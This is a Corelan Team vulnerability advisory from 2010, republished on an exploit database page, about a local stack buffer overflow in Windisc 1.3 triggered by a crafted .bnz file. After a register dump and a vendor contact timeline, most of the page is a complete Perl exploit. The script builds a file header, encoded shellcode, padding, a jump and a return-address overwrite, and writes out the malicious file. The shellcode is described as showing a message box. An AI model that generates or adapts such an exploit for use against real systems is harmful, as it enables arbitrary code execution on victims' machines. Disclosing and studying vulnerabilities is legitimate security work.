Lucene search
K

Windisc 1.3 - Local Stack Buffer Overflow

🗓️ 16 Mar 2010 00:00:00Reported by Rick2600Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

Windisc 1.3 - Local Stack Buffer Overflo

Code
|------------------------------------------------------------------|
|                         __               __                      |
|   _________  ________  / /___ _____     / /____  ____ _____ ___  |
|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
|                                                                  |
|                                       http://www.corelan.be:8800 |
|                                              [email protected] |
|                                                                  |
|-------------------------------------------------[ EIP Hunters ]--|
|                                                                  |
|                 Vulnerability Disclosure Report                  |
|                                                                  |
|------------------------------------------------------------------|

Advisory        : CORELAN-10-013
Disclosure date : March 16, 2010


0x00 : Vulnerability information
--------------------------------

[*] Product : Windisc
[*] Version : 1.3
[*] Vendor : RParris
[*] URL : http://math.exeter.edu/rparris/windisc.html
[*] Platform : Windows
[*] Type of vulnerability : Stack Buffer overflow
[*] Risk rating : Medium
[*] Issue fixed in version : Unknown
[*] Vulnerability discovered by : Rick2600
[*] Corelan Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/


0x01 : Vendor description of software
-------------------------------------
From the vendor website:
Windisc is a collection of subprograms that deal with discrete-math topics such as 
apportionment, voting power, voting methods, and network analysis 
(traveling salesman problem, map-coloring, etc).


0x02 : Vulnerability details
----------------------------
In order to trigger the vulnerability a user needs to load a crafted Banzhaf (.bnz) file.

EAX 00A193BC
ECX 0000000B
EDX 00A193BC
EBX 00A16638
ESP 0012F778 ASCII "AAAAAAAAAAAAAAAAAA..."
EBP 41414141
ESI 00A4D158
EDI 0000000C
EIP 41414141



0x03 : Vendor communication
---------------------------
[*] Feb 15 2010: Author contacted (no replies)
[*] Mar 08 2010: Vulnerability disclosed


0x04 : Exploit/PoC
------------------
Note : you are not allowed to edit/modify this code.  
If you do, Corelan cannot be held responsible for any damages this may cause.


print "|------------------------------------------------------------------|\n";
print "|                         __               __                      |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] PEAnut Discrete Math Package Exploit\n";

my $sploitfile="windisc_poc.bnz";

my $header=
"\x77\x03\x00\x00\x03\x00\x00\x00\x36\x00\x00\x00\x3b\x00\x00\x00".
"\x50\x03\x00\x00\x3c\x02\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x3d\x00\x00\x00\xd9\xff\xff\xff\x2c\x01\x00\x00\x64\x00\x00\x00".
"\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00".
"\x0f\x00\x00\x00\x2b\xd0\x28\x01\x49\x1e\x29\x01\x00\x00\x00\x00".
"\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x08\x00\x00\x00".
"\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00".
"\x0a\x00\x00\x00\x0a\x00\x00\x00\xf0\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x02\x08\x02\x01\x31".
"\x53\x79\x6d\x62\x6f\x6c\x00\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72".
"\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf5\xff\xff\xff".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00".
"\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20".
"\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xf0\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x02\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x02".
"\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72".
"\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00".
"\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20".
"\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31".
"\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91\x74\x49\x00".
"\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91\x74\x49".
"\x00\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91\x74".
"\x49\x00\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x24\xf9\x12\x00\x91".
"\x74\x49\x00\x1c\x83\x4b\x00\x00\x00\x00\x00\x00\x13\x00\x13\x00".
"\x13\x00\x13\x00\x13\x00\x13\x00\x13\x00\x04\x00\x00\x00\x06\x00".
"\x13\x00\x13\x00\x13\x00\x13\x00\x13\x00\x00\x00\x00\x00\xff\xff".
"\xff\x00\xff\x00\xff\x00\xff\xff\x00\x00\xff\x00\x00\x00\x00\xbf".
"\x3f\x00\x00\x00\xff\x00\x00\x7f\x7f\x00\xff\x7f\x00\x00\xff\x00".
"\x7f\x00\xa0\x2f\x00\x00\x00\xff\xff\x00\xbf\xbf\x7f\x00\x7f\x00".
"\x7f\x00\x20\xff\x00\x00\xff\x7f\x7f\x00\x87\x87\x00\x00\x00\x3c".
"\xa0\x00\xe0\xe0\xe0\x00\xc0\xc0\xc0\x00\xa0\xa0\xa0\x00\x80\x80".
"\x80\x00\x60\x60\x60\x00\x40\x40\x40\x00\xbf\x00\x3f\x00\x7e\xde".
"\xff\x00\xff\xcc\xcc\x00\xff\x7e\xde\x00\xff\xde\x7e\x00\xde\xff".
"\x7e\x00\x7e\xff\xde\x00\xff\xff\xbf\x00\xff\xbf\xff\x00\xbf\xff".
"\xff\x00\xff\xff\xde\x00\xff\xde\xff\x00\xde\xff\xff\x00\xb1\xde".
"\xd4\x00\xb1\xd4\xde\x00\xd4\xb1\xde\x00\xd4\xde\xb1\x00\xde\xb1".
"\xd4\x00\xde\xd4\xb1\x00\xbf\xf1\xde\x00\xbf\xde\xf1\x00\xde\xf1".
"\xbf\x00\xde\xbf\xf1\x00\xf1\xde\xbf\x00\xf1\xbf\xde\x00\xff\x96".
"\xea\x00\x96\xea\xff\x00\xcc\xcc\xcc\x00\xc8\x70\x00\x00\xde\xcd".
"\x00\x00\xde\x68\x20\x00\x14\x82\x28\x00\xc0\x00\xa0\x00\xd4\x28".
"\x28\x00\x50\x84\xb0\x00\x64\xa0\xc8\x00\x14\x64\x14\x00\x0c\x00".
"\x00\x00\x07\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00".
"\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xb1\x00\x00\x00\x05\x00".
"\x00\x00\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x16\x00\x00\x00\x2f\x00".
"\x00\x00\x24\x00\x00\x00\x1e\x00\x00\x00\x24\x00\x00\x00\x2d\x00".
"\x00\x00\x20\x00\x00\x00\x23\x00\x00\x00\x11\x00\x00\x00\x1f\x00".
"\x00\x00\x0b\x00\x00\x00\x07\x00";


#MsgBox Corelan Team
my $shellcode=
"\x2b\xc9\xdb\xca\xb1\x4b\xd9\x74\x24\xf4\x5a\xbf\xc8\xac" .
"\x87\x72\x31\x7a\x16\x83\xea\xfc\x03\x7a\xda\x4e\x72\x24" .
"\xeb\x4e\x4c\x12\xb8\x7f\xcb\x2f\xbd\xf4\x53\x3c\x4a\x4a" .
"\x40\x6c\x12\xc0\x6e\xdc\xf4\x5d\x68\x57\x48\x72\x2b\x8e" .
"\xda\x72\xd3\x50\xba\xf9\xbf\x74\x1e\x75\x7a\x49\xd5\xdd" .
"\x80\xc9\xe8\x37\x01\x63\xf2\x4c\x4c\x54\x03\xb8\x92\xa3" .
"\x4a\xb5\x61\x47\x4d\x27\xb8\xa8\x7c\x77\x47\xfa\xfa\xb7" .
"\xcc\x09\xc3\xf7\x20\x0f\x04\xee\xca\xf0\x75\x0e\x17\x73" .
"\xad\xd9\x1d\x55\x26\x43\xfa\x68\xd3\x12\x89\x67\x68\x50" .
"\xd7\x6b\x6f\x8d\x63\x97\xe4\x50\x9c\x11\xbe\x76\x40\x43" .
"\xfd\xda\x28\xd1\xe9\x82\x36\x2a\x16\x45\xcf\x54\x2c\x5e" .
"\xd0\x56\xac\xde\x17\x52\xac\xe0\x97\x62\x62\x95\x71\x57" .
"\x92\x10\x7e\x58\x62\xe8\x0d\x3d\x10\x21\xc0\x93\xb0\x29" .
"\x48\xec\xd0\x92\x90\xec\x20\x5d\xde\xe2\xcc\x1f\x07\x18" .
"\x7f\x08\x84\xdd\x7f\xc8\x43\x7f\x32\x74\x12\x6c\xc4\x84" .
"\x15\x6d\x5d\x61\x9c\xaf\xb4\xb1\x60\xd0\xb9\x18\x12\x52" .
"\x41\x2c\xdd\x2c\x88\x26\x1e\x2f\x0a\xdf\x81\xd0\xf5\xe0" .
"\x57\x9b\xf6\xe0\x57\x1b\x5d\x1b\x21\x26\xb4\xeb\xce\x58" .
"\xb9\xb2\x9d\xf7\x17\xa3\xe8\x08\x68\xcc\xfc\xe2\x96\x33" .
"\xff\x57\x7f\x29\xff\x67\x7f\x17\xce\xb5\x2d\xf4\x61\x68" .
"\x2e\x2a\xb0\x4c\x80\x34\xe6\x44\xc8\x2d\xf6\xaa\xf7\xe2" .
"\x7e\x3b\x62\x67\x81\x2b\x8d\x98\x7e\x54\x0e\x08\xf3\xce" .
"\xfc\xb7\x9d\x30\xa8\x52\x03\x5c\x70\xed\xb4\xf0\x15\x69" .
"\x3b\x07";


print "[+] Preparing payload\n";

my $payload = $header;
$payload .= "A" x 300;
$payload .= $shellcode;
$payload .= "B" x (772 - length($shellcode));
$payload .= "\xE9\xB9\xFC\xFF\xFF";
$payload .= "\xEB\xF9\x90\x90";
$payload .= pack("V", 0x00405437);

print "[+] Writing payload to file\n";

open(FILE,">$sploitfile");
binmode (FILE);
print FILE $payload;
close(FILE);
print "[+] Wrote ".length($payload)." bytes to file $sploitfile\n";

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation